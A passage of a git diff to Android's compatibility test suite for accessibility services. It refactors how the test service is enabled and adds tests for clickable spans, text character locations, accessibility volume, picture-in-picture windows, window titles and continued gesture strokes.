-                this, InstrumentedAccessibilityService.class);
+                mInstrumentation, InstrumentedAccessibilityService.class);
         try {
             final MagnificationController controller = service.getMagnificationController();
             Region magnificationRegion = controller.getMagnificationRegion();
@@ -185,7 +191,7 @@
                     + "gestures are active", magnificationRegion.isEmpty());
         } finally {
             service.runOnServiceSync(() -> service.disableSelf());
-            ShellCommandBuilder.create(this)
+            ShellCommandBuilder.create(mInstrumentation)
                     .deleteSecureSetting(ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED)
                     .run();
         }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
index a933099..1761117 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
@@ -98,7 +98,6 @@
                 AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS));
         assertEquals("FLAG_REQUEST_TOUCH_EXPLORATION_MODE", AccessibilityServiceInfo.flagToString(
                 AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE));
-        
     }
 
     /**
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
index 58d8355..49c209f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
@@ -86,7 +86,7 @@
         getActivity();
 
         mService = InstrumentedAccessibilityService.enableService(
-                this, InstrumentedAccessibilityService.class);
+                getInstrumentation(), InstrumentedAccessibilityService.class);
         mKeyboardController = mService.getSoftKeyboardController();
         mUiAutomation = getInstrumentation()
                 .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index e94cb11..0f8b9c0 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -15,8 +15,15 @@
 package android.accessibilityservice.cts;
 
 import android.app.UiAutomation;
+import android.graphics.RectF;
 import android.os.Bundle;
+import android.os.Debug;
+import android.os.Parcelable;
+import android.text.SpannableString;
+import android.text.Spanned;
 import android.text.TextUtils;
+import android.text.style.ClickableSpan;
+import android.text.style.URLSpan;
 import android.view.View;
 import android.view.accessibility.AccessibilityNodeInfo;
 import android.widget.EditText;
@@ -24,11 +31,21 @@
 
 import android.accessibilityservice.cts.R;
 
+import java.util.Arrays;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.List;
+
+import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH;
+import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX;
+import static android.view.accessibility.AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY;
+
 /**
  * Test cases for actions taken on text views.
  */
 public class AccessibilityTextActionTest extends
         AccessibilityActivityTestCase<AccessibilityTextTraversalActivity> {
+    final Object mClickableSpanCallbackLock = new Object();
+    final AtomicBoolean mClickableSpanCalled = new AtomicBoolean(false);
     UiAutomation mUiAutomation;
 
     public AccessibilityTextActionTest() {
@@ -38,6 +55,7 @@
     public void setUp() throws Exception {
         super.setUp();
         mUiAutomation = getInstrumentation().getUiAutomation();
+        mClickableSpanCalled.set(false);
     }
 
     public void tearDown() throws Exception {
@@ -47,14 +65,7 @@
 
     public void testNotEditableTextView_shouldNotExposeOrRespondToSetTextAction() {
         final TextView textView = (TextView) getActivity().findViewById(R.id.text);
-
-        getInstrumentation().runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                textView.setVisibility(View.VISIBLE);
-                textView.setText(getString(R.string.a_b));
-            }
-        });
+        makeTextViewVisibleAndSetText(textView, getString(R.string.a_b));
 
         final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
                 .findAccessibilityNodeInfosByText(getString(R.string.a_b)).get(0);
@@ -107,14 +118,7 @@
 
     public void testEditText_shouldExposeAndRespondToSetTextAction() {
         final EditText editText = (EditText) getActivity().findViewById(R.id.edit);
-
-        getInstrumentation().runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                editText.setVisibility(View.VISIBLE);
-                editText.setText(getString(R.string.a_b));
-            }
-        });
+        makeTextViewVisibleAndSetText(editText, getString(R.string.a_b));
 
         final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
                 .findAccessibilityNodeInfosByText(getString(R.string.a_b)).get(0);
@@ -136,4 +140,169 @@
         assertTrue("EditText should update on set text",
                 TextUtils.equals(textToSet, editText.getText()));
     }
+
+    public void testClickableSpan_shouldWorkFromAccessibilityService() {
+        final TextView textView = (TextView) getActivity().findViewById(R.id.text);
+        final ClickableSpan clickableSpan = new ClickableSpan() {
+            @Override
+            public void onClick(View widget) {
+                assertEquals("Clickable span called back on wrong View", textView, widget);
+                onClickCallback();
+            }
+        };
+        final SpannableString textWithClickableSpan = new SpannableString(getString(R.string.a_b));
+        textWithClickableSpan.setSpan(clickableSpan, 0, 1, 0);
+        makeTextViewVisibleAndSetText(textView, textWithClickableSpan);
+
+        ClickableSpan clickableSpanFromA11y
+                = findSingleSpanInViewWithText(R.string.a_b, ClickableSpan.class);
+        clickableSpanFromA11y.onClick(null);
+        assertOnClickCalled();
+    }
+
+    public void testUrlSpan_shouldWorkFromAccessibilityService() {
+        final TextView textView = (TextView) getActivity().findViewById(R.id.text);
+        final String url = "com.android.some.random.url";
+        final URLSpan urlSpan = new URLSpan(url) {
+            @Override
+            public void onClick(View widget) {
+                assertEquals("Url span called back on wrong View", textView, widget);
+                onClickCallback();
+            }
+        };
+        final SpannableString textWithClickableSpan = new SpannableString(getString(R.string.a_b));
+        textWithClickableSpan.setSpan(urlSpan, 0, 1, 0);
+        makeTextViewVisibleAndSetText(textView, textWithClickableSpan);
+
+        URLSpan urlSpanFromA11y = findSingleSpanInViewWithText(R.string.a_b, URLSpan.class);
+        assertEquals(url, urlSpanFromA11y.getURL());
+        urlSpanFromA11y.onClick(null);
+
+        assertOnClickCalled();
+    }
+
+
+    public void testTextLocations_textViewShouldProvideWhenRequested() {
+        final TextView textView = (TextView) getActivity().findViewById(R.id.text);
+        makeTextViewVisibleAndSetText(textView, getString(R.string.a_b));
+
+        final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByText(getString(R.string.a_b)).get(0);
+        List<String> textAvailableExtraData = text.getAvailableExtraData();
+        assertTrue("Text view should offer text location to accessibility",
+                textAvailableExtraData.contains(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
+        assertNull("Text locations should not be populated by default",
+                text.getExtras().get(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
+        Bundle getTextArgs = new Bundle();
+        getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
+        getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH,
+                text.getText().length());
+        assertTrue("Refresh failed", text.refreshWithExtraData(
+                AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+        final Parcelable[] parcelables = text.getExtras()
+                .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
+        final RectF[] locations = Arrays.copyOf(parcelables, parcelables.length, RectF[].class);
+        assertEquals(text.getText().length(), locations.length);
+        // The text should all be on one line, running left to right
+        for (int i = 0; i < locations.length; i++) {
+            assertEquals(locations[0].top, locations[i].top);
+            assertEquals(locations[0].bottom, locations[i].bottom);
+            assertTrue(locations[i].right > locations[i].left);
+            if (i > 0) {
+                assertTrue(locations[i].left > locations[i-1].left);
+            }
+        }
+    }
+
+    public void testTextLocations_textOutsideOfViewBounds_locationsShouldBeNull() {
+        final EditText editText = (EditText) getActivity().findViewById(R.id.edit);
+        makeTextViewVisibleAndSetText(editText, getString(R.string.android_wiki));
+
+        final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByText(getString(R.string.android_wiki)).get(0);
+        List<String> textAvailableExtraData = text.getAvailableExtraData();
+        assertTrue("Text view should offer text location to accessibility",
+                textAvailableExtraData.contains(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
+        Bundle getTextArgs = new Bundle();
+        getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
+        getTextArgs.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH,
+                text.getText().length());
+        assertTrue("Refresh failed", text.refreshWithExtraData(
+                AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+        Parcelable[] parcelables = text.getExtras()
+                .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
+        final RectF[] locationsBeforeScroll = Arrays.copyOf(
+                parcelables, parcelables.length, RectF[].class);
+        assertEquals(text.getText().length(), locationsBeforeScroll.length);
+        // The first character should be visible immediately
+        assertFalse(locationsBeforeScroll[0].isEmpty());
+        // Some of the characters should be off the screen, and thus have empty rects. Find the
+        // break point
+        int firstNullRectIndex = -1;
+        for (int i = 1; i < locationsBeforeScroll.length; i++) {
+            boolean isNull = locationsBeforeScroll[i] == null;
+            if (firstNullRectIndex < 0) {
+                if (isNull) {
+                    firstNullRectIndex = i;
+                }
+            } else {
+                assertTrue(isNull);
+            }
+        }
+
+        // Scroll down one line
+        final float oneLineDownY = locationsBeforeScroll[0].bottom;
+        getInstrumentation().runOnMainSync(() -> editText.scrollTo(0, (int) oneLineDownY + 1));
+
+        assertTrue("Refresh failed", text.refreshWithExtraData(
+                AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+        parcelables = text.getExtras()
+                .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
+        final RectF[] locationsAfterScroll = Arrays.copyOf(
+                parcelables, parcelables.length, RectF[].class);
+        // Now the first character should be off the screen
+        assertNull(locationsAfterScroll[0]);
+        // The first character that was off the screen should now be on it
+        assertNotNull(locationsAfterScroll[firstNullRectIndex]);
+    }
+
+    private void onClickCallback() {
+        synchronized (mClickableSpanCallbackLock) {
+            mClickableSpanCalled.set(true);
+            mClickableSpanCallbackLock.notifyAll();
+        }
+    }
+
+    private void assertOnClickCalled() {
+        synchronized (mClickableSpanCallbackLock) {
+            long endTime = System.currentTimeMillis() + TIMEOUT_ASYNC_PROCESSING;
+            while (!mClickableSpanCalled.get() && (System.currentTimeMillis() < endTime)) {
+                try {
+                    mClickableSpanCallbackLock.wait(endTime - System.currentTimeMillis());
+                } catch (InterruptedException e) {}
+            }
+        }
+        assert(mClickableSpanCalled.get());
+    }
+
+    private <T> T findSingleSpanInViewWithText(int stringId, Class<T> type) {
+        final AccessibilityNodeInfo text = mUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByText(getString(stringId)).get(0);
+        CharSequence accessibilityTextWithSpan = text.getText();
+        // The span should work even with the node recycled
+        text.recycle();
+        assertTrue(accessibilityTextWithSpan instanceof Spanned);
+
+        T spans[] = ((Spanned) accessibilityTextWithSpan)
+                .getSpans(0, accessibilityTextWithSpan.length(), type);
+        assertEquals(1, spans.length);
+        return spans[0];
+    }
+
+    private void makeTextViewVisibleAndSetText(final TextView textView, final CharSequence text) {
+        getInstrumentation().runOnMainSync(() -> {
+            textView.setVisibility(View.VISIBLE);
+            textView.setText(text);
+        });
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
index 53eec5f..6bc2969 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
@@ -3928,6 +3928,10 @@
 
         // Set selection at the end.
         final int textLength = editText.getText().length();
+        arguments.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_START_INT, textLength);
+        arguments.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_END_INT, textLength);
+        assertTrue(text.performAction(AccessibilityNodeInfo.ACTION_SET_SELECTION, arguments));
+
         // Verify the selection position.
         assertEquals(textLength, Selection.getSelectionStart(editText.getText()));
         assertEquals(textLength, Selection.getSelectionEnd(editText.getText()));
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
index a292e4e..305050b 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
@@ -18,14 +18,15 @@
 import android.app.UiAutomation;
 import android.content.Context;
 import android.test.suitebuilder.annotation.MediumTest;
+import android.text.TextUtils;
 import android.view.View;
+import android.view.ViewGroup;
+import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
 
 import android.accessibilityservice.cts.R;
+import android.widget.Button;
 import android.widget.LinearLayout;
-import android.widget.TextView;
-
-import java.util.ArrayList;
 
 /**
  * Test cases for testing the accessibility focus APIs exposed to accessibility
@@ -274,6 +275,47 @@
         assertFalse(firstButtonNode.isImportantForAccessibility());
     }
 
+    @MediumTest
+    public void testAddViewToLayout_receiveSubtreeEvent() throws Throwable {
+        final LinearLayout layout =
+                (LinearLayout) getActivity().findViewById(R.id.secondLinearLayout);
+        final Button newButton = new Button(getActivity());
+        newButton.setText("New Button");
+        newButton.setWidth(ViewGroup.LayoutParams.WRAP_CONTENT);
+        newButton.setHeight(ViewGroup.LayoutParams.WRAP_CONTENT);
+        AccessibilityEvent awaitedEvent =
+                getInstrumentation().getUiAutomation().executeAndWaitForEvent(
+                        new Runnable() {
+                            @Override
+                            public void run() {
+                                // trigger the event
+                                getActivity().runOnUiThread(new Runnable() {
+                                    @Override
+                                    public void run() {
+                                        layout.addView(newButton);
+                                    }
+                                });
+                            }},
+                        new UiAutomation.AccessibilityEventFilter() {
+                            // check the received event
+                            @Override
+                            public boolean accept(AccessibilityEvent event) {
+                                boolean isContentChanged = event.getEventType()
+                                        == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
+                                int isSubTree = (event.getContentChangeTypes()
+                                        & AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE);
+                                boolean isFromThisPackage = TextUtils.equals(event.getPackageName(),
+                                        getActivity().getPackageName());
+                                return isContentChanged && (isSubTree != 0) && isFromThisPackage;
+                            }
+                        },
+                        TIMEOUT_ASYNC_PROCESSING);
+        // The event should come from a view that's important for accessibility, even though the
+        // layout we added it to isn't important. Otherwise services may not find out about the
+        // new button.
+        assertTrue(awaitedEvent.getSource().isImportantForAccessibility());
+    }
+
     private UiAutomation getUiAutomation(boolean getNonImportantViews) {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         AccessibilityServiceInfo serviceInfo = uiAutomation.getServiceInfo();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
new file mode 100644
index 0000000..b67fc28
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -0,0 +1,78 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.accessibilityservice.cts;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.media.AudioManager;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static android.content.Context.AUDIO_SERVICE;
+import static org.junit.Assert.assertEquals;
+
+/**
+ * Verify that accessibility services can control the accessibility volume.
+ */
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityVolumeTest {
+    Instrumentation mInstrumentation;
+    AudioManager mAudioManager;
+    // If a platform collects all volumes into one, these tests aren't relevant
+    boolean mSingleVolume;
+
+    @Before
+    public void setUp() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mAudioManager =
+                (AudioManager) mInstrumentation.getContext().getSystemService(AUDIO_SERVICE);
+        // TVs have a single volume
+        PackageManager pm = mInstrumentation.getContext().getPackageManager();
+        mSingleVolume = (pm != null) && (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+                || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
+    }
+
+    @Test
+    public void testChangeAccessibilityVolume_outsideValidAccessibilityService_shouldFail() {
+        if (mSingleVolume) {
+            return;
+        }
+        int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
+        int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
+        mAudioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, otherVolume, 0);
+        assertEquals("Non accessibility service should not be able to change accessibility volume",
+                startingVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
+    }
+
+    @Test
+    public void testChangeAccessibilityVolume_inAccessibilityService_shouldWork() {
+        if (mSingleVolume) {
+            return;
+        }
+        int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
+        int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
+        InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
+                mInstrumentation, InstrumentedAccessibilityService.class);
+
+        service.runOnServiceSync(() ->
+                mAudioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, otherVolume, 0));
+        assertEquals("Accessibility service should be able to change accessibility volume",
+                otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
+        service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
+                AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index 9fa2deb..e9a8fd7 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -16,6 +16,7 @@
 
 package android.accessibilityservice.cts;
 
+import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_FOCUS;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_SELECTION;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLICK;
@@ -58,6 +59,14 @@
     private static String CONTENT_VIEW_RES_NAME =
             "android.accessibilityservice.cts:id/added_content";
     private static final long TIMEOUT_WINDOW_STATE_IDLE = 500;
+    private final UiAutomation.AccessibilityEventFilter mWindowsChangedFilter =
+            new UiAutomation.AccessibilityEventFilter() {
+                @Override
+                public boolean accept(AccessibilityEvent event) {
+                    return (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED);
+                }
+            };
+
 
     public AccessibilityWindowQueryTest() {
         super(AccessibilityWindowQueryActivity.class);
@@ -104,6 +113,11 @@
 
     @MediumTest
     public void testNoWindowsAccessIfFlagNotSet() throws Exception {
+        // Clear window access flag
+        AccessibilityServiceInfo info = getInstrumentation().getUiAutomation().getServiceInfo();
+        info.flags &= ~AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+        getInstrumentation().getUiAutomation().setServiceInfo(info);
+
         // Make sure the windows cannot be accessed.
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         assertTrue(uiAutomation.getWindows().isEmpty());
@@ -605,24 +619,43 @@
                         AccessibilityService.GLOBAL_ACTION_TOGGLE_SPLIT_SCREEN));
             }
         };
-        UiAutomation.AccessibilityEventFilter windowsChangedFilter =
-                new UiAutomation.AccessibilityEventFilter() {
-            @Override
-            public boolean accept(AccessibilityEvent event) {
-                return (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED);
-            }
-        };
 
-        uiAutomation.executeAndWaitForEvent(toggleSplitScreenRunnable, windowsChangedFilter,
+        uiAutomation.executeAndWaitForEvent(toggleSplitScreenRunnable, mWindowsChangedFilter,
                 TIMEOUT_ASYNC_PROCESSING);
         waitForIdle();
         assertTrue(isDividerWindowPresent(uiAutomation));
-        uiAutomation.executeAndWaitForEvent(toggleSplitScreenRunnable, windowsChangedFilter,
+        uiAutomation.executeAndWaitForEvent(toggleSplitScreenRunnable, mWindowsChangedFilter,
                 TIMEOUT_ASYNC_PROCESSING);
         waitForIdle();
         assertFalse(isDividerWindowPresent(uiAutomation));
     }
 
+    public void testFindPictureInPictureWindow() throws Exception {
+        if (!getInstrumentation().getContext().getPackageManager()
+                .hasSystemFeature(FEATURE_PICTURE_IN_PICTURE)) {
+            return;
+        }
+        final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+        uiAutomation.executeAndWaitForEvent(() -> {
+            getInstrumentation().runOnMainSync(() -> {
+                getActivity().enterPictureInPictureMode();
+            });
+        }, mWindowsChangedFilter, TIMEOUT_ASYNC_PROCESSING);
+        waitForIdle();
+
+        // We should be able to find a picture-in-picture window now
+        int numPictureInPictureWindows = 0;
+        final List<AccessibilityWindowInfo> windows = uiAutomation.getWindows();
+        final int windowCount = windows.size();
+        for (int i = 0; i < windowCount; i++) {
+            final AccessibilityWindowInfo window = windows.get(i);
+            if (window.isInPictureInPictureMode()) {
+                numPictureInPictureWindows++;
+            }
+        }
+        assertTrue(numPictureInPictureWindows >= 1);
+    }
+
     private boolean isDividerWindowPresent(UiAutomation uiAutomation) {
         List<AccessibilityWindowInfo> windows = uiAutomation.getWindows();
         final int windowCount = windows.size();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingActivity.java
index d17a285..c638951 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingActivity.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingActivity.java
@@ -24,5 +24,6 @@
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.accessibility_window_reporting_test);
+        setTitle("AccessibilityWindowReportingActivity");
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
index 3fee77c..c9eef93 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
@@ -58,6 +58,34 @@
         window.recycle();
     }
 
+    public void testUpdatedWindowTitle_generatesEventAndIsReturnedByGetTitle() {
+        final String updatedTitle = "Updated Title";
+        try {
+            mUiAutomation.executeAndWaitForEvent(new Runnable() {
+                @Override
+                public void run() {
+                    getInstrumentation().runOnMainSync(new Runnable() {
+                        @Override
+                        public void run() {
+                            getActivity().setTitle(updatedTitle);
+                        }
+                    });
+                }
+            }, new UiAutomation.AccessibilityEventFilter() {
+                @Override
+                public boolean accept(AccessibilityEvent event) {
+                    return (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED);
+                }
+            }, TIMEOUT_ASYNC_PROCESSING);
+        } catch (TimeoutException exception) {
+            throw new RuntimeException(
+                    "Failed to get windows changed event for title update", exception);
+        }
+        AccessibilityWindowInfo window = findWindowByTitle(updatedTitle);
+        assertNotNull("Updated window title not reported to accessibility", window);
+        window.recycle();
+    }
+
     public void testGetAnchorForDropDownForAutoCompleteTextView_returnsTextViewNode() {
         final AutoCompleteTextView autoCompleteTextView =
                 (AutoCompleteTextView) getActivity().findViewById(R.id.autoCompleteLayout);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java
index 234f66a..3df8d0c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java
@@ -15,6 +15,7 @@
 package android.accessibilityservice.cts;
 
 import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
 import android.graphics.Path;
 import android.graphics.PathMeasure;
 import android.test.InstrumentationTestCase;
@@ -35,7 +36,7 @@
 
     public void testCreateStroke_noDuration_shouldThrow() {
         try {
-            new GestureDescription.StrokeDescription(mNominalPath, 0, 0);
+            new StrokeDescription(mNominalPath, 0, 0);
             fail("Missing exception for stroke with no duration.");
         } catch (IllegalArgumentException e) {
         }
@@ -43,7 +44,7 @@
 
     public void testCreateStroke_negativeStartTime_shouldThrow() {
         try {
-            new GestureDescription.StrokeDescription(mNominalPath, -1, NOMINAL_PATH_DURATION);
+            new StrokeDescription(mNominalPath, -1, NOMINAL_PATH_DURATION);
             fail("Missing exception for stroke with negative start time.");
         } catch (IllegalArgumentException e) {
         }
@@ -54,7 +55,7 @@
         negativeStartXPath.moveTo(-1, 0);
         negativeStartXPath.lineTo(10, 10);
         try {
-            new GestureDescription.StrokeDescription(negativeStartXPath, 0, NOMINAL_PATH_DURATION);
+            new StrokeDescription(negativeStartXPath, 0, NOMINAL_PATH_DURATION);
             fail("Missing exception for stroke with negative start x coord.");
         } catch (IllegalArgumentException e) {
         }
@@ -65,7 +66,7 @@
         negativeStartYPath.moveTo(0, -1);
         negativeStartYPath.lineTo(10, 10);
         try {
-            new GestureDescription.StrokeDescription(negativeStartYPath, 0, NOMINAL_PATH_DURATION);
+            new StrokeDescription(negativeStartYPath, 0, NOMINAL_PATH_DURATION);
             fail("Missing exception for stroke with negative start y coord.");
         } catch (IllegalArgumentException e) {
         }
@@ -76,7 +77,7 @@
         negativeEndXPath.moveTo(0, 0);
         negativeEndXPath.lineTo(-10, 10);
         try {
-            new GestureDescription.StrokeDescription(negativeEndXPath, 0, NOMINAL_PATH_DURATION);
+            new StrokeDescription(negativeEndXPath, 0, NOMINAL_PATH_DURATION);
             fail("Missing exception for stroke with negative end x coord.");
         } catch (IllegalArgumentException e) {
         }
@@ -87,7 +88,7 @@
         negativeEndYPath.moveTo(0, 0);
         negativeEndYPath.lineTo(10, -10);
         try {
-            new GestureDescription.StrokeDescription(negativeEndYPath, 0, NOMINAL_PATH_DURATION);
+            new StrokeDescription(negativeEndYPath, 0, NOMINAL_PATH_DURATION);
             fail("Missing exception for stroke with negative end y coord.");
         } catch (IllegalArgumentException e) {
         }
@@ -96,7 +97,7 @@
     public void testCreateStroke_withEmptyPath_shouldThrow() {
         Path emptyPath = new Path();
         try {
-            new GestureDescription.StrokeDescription(emptyPath, 0, NOMINAL_PATH_DURATION);
+            new StrokeDescription(emptyPath, 0, NOMINAL_PATH_DURATION);
             fail("Missing exception for empty path.");
         } catch (IllegalArgumentException e) {
         }
@@ -109,27 +110,43 @@
         multiContourPath.moveTo(20, 0);
         multiContourPath.lineTo(20, 10);
         try {
-            new GestureDescription.StrokeDescription(multiContourPath, 0, NOMINAL_PATH_DURATION);
+            new StrokeDescription(multiContourPath, 0, NOMINAL_PATH_DURATION);
             fail("Missing exception for stroke with multi-contour path.");
         } catch (IllegalArgumentException e) {
         }
     }
 
+    public void testStrokeDescriptionWillContinue() {
+        StrokeDescription strokeDescription = new StrokeDescription(mNominalPath, 0, 100);
+        assertFalse(strokeDescription.willContinue());
+
+        StrokeDescription continuedStroke = new StrokeDescription(mNominalPath, 0, 100, true);
+        assertTrue(continuedStroke.willContinue());
+
+        strokeDescription = new StrokeDescription(mNominalPath, 0, 100, false);
+        assertFalse(strokeDescription.willContinue());
+
+        StrokeDescription continuation =
+                continuedStroke.continueStroke(mNominalPath, 0, 100, false);
+        assertFalse(continuation.willContinue());
+
+        continuation = continuedStroke.continueStroke(mNominalPath, 0, 100, true);
+        assertTrue(continuation.willContinue());
+    }
+
     public void testAddStroke_allowUpToMaxPaths() {
         GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
         for (int i = 0; i < GestureDescription.getMaxStrokeCount(); i++) {
             Path path = new Path();
             path.moveTo(i, i);
